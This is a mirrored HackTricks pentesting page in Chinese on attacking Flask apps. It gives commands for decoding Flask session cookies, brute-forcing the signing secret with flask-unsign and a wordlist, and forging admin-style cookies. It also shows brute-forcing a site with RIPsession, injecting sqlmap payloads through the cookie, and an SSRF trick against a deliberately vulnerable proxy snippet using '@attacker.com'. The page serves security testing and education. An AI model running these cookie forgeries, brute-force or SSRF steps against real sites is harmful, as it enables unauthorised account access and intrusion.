mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
89 lines
2.5 KiB
Markdown
89 lines
2.5 KiB
Markdown
# Flask
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
**如果你在进行CTF,Flask应用程序可能与** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/index.html)**相关。**
|
||
|
||
## Cookies
|
||
|
||
默认的cookie会话名称是 **`session`**。
|
||
|
||
### Decoder
|
||
|
||
在线Flask cookie解码器: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
|
||
|
||
#### Manual
|
||
|
||
获取cookie的第一部分,直到第一个点,然后进行Base64解码。
|
||
```bash
|
||
echo "ImhlbGxvIg" | base64 -d
|
||
```
|
||
该 cookie 还使用密码进行了签名
|
||
|
||
### **Flask-Unsign**
|
||
|
||
命令行工具,通过猜测秘密密钥来获取、解码、暴力破解和制作 Flask 应用程序的会话 cookie。
|
||
|
||
{{#ref}}
|
||
https://pypi.org/project/flask-unsign/
|
||
{{#endref}}
|
||
```bash
|
||
pip3 install flask-unsign
|
||
```
|
||
#### **解码 Cookie**
|
||
```bash
|
||
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
|
||
```
|
||
#### **暴力破解**
|
||
```bash
|
||
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
|
||
```
|
||
#### **签名**
|
||
```bash
|
||
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
|
||
```
|
||
#### 使用旧版本进行签名
|
||
```bash
|
||
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
|
||
```
|
||
### **RIPsession**
|
||
|
||
命令行工具,用于使用用flask-unsign制作的cookie对网站进行暴力破解。
|
||
|
||
{{#ref}}
|
||
https://github.com/Tagvi/ripsession
|
||
{{#endref}}
|
||
```bash
|
||
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
|
||
```
|
||
### SQLi in Flask session cookie with SQLmap
|
||
|
||
[**这个例子**](../../pentesting-web/sql-injection/sqlmap/index.html#eval) 使用 sqlmap `eval` 选项来 **自动签名 sqlmap 负载** 以便于 flask,使用已知的密钥。
|
||
|
||
## Flask Proxy to SSRF
|
||
|
||
[**在这篇文章中**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) 解释了 Flask 如何允许以字符 "@" 开头的请求:
|
||
```http
|
||
GET @/ HTTP/1.1
|
||
Host: target.com
|
||
Connection: close
|
||
```
|
||
在以下场景中:
|
||
```python
|
||
from flask import Flask
|
||
from requests import get
|
||
|
||
app = Flask('__main__')
|
||
SITE_NAME = 'https://google.com/'
|
||
|
||
@app.route('/', defaults={'path': ''})
|
||
@app.route('/<path:path>')
|
||
def proxy(path):
|
||
return get(f'{SITE_NAME}{path}').content
|
||
|
||
app.run(host='0.0.0.0', port=8080)
|
||
```
|
||
可以允许引入类似“@attacker.com”的内容,以导致**SSRF**。
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|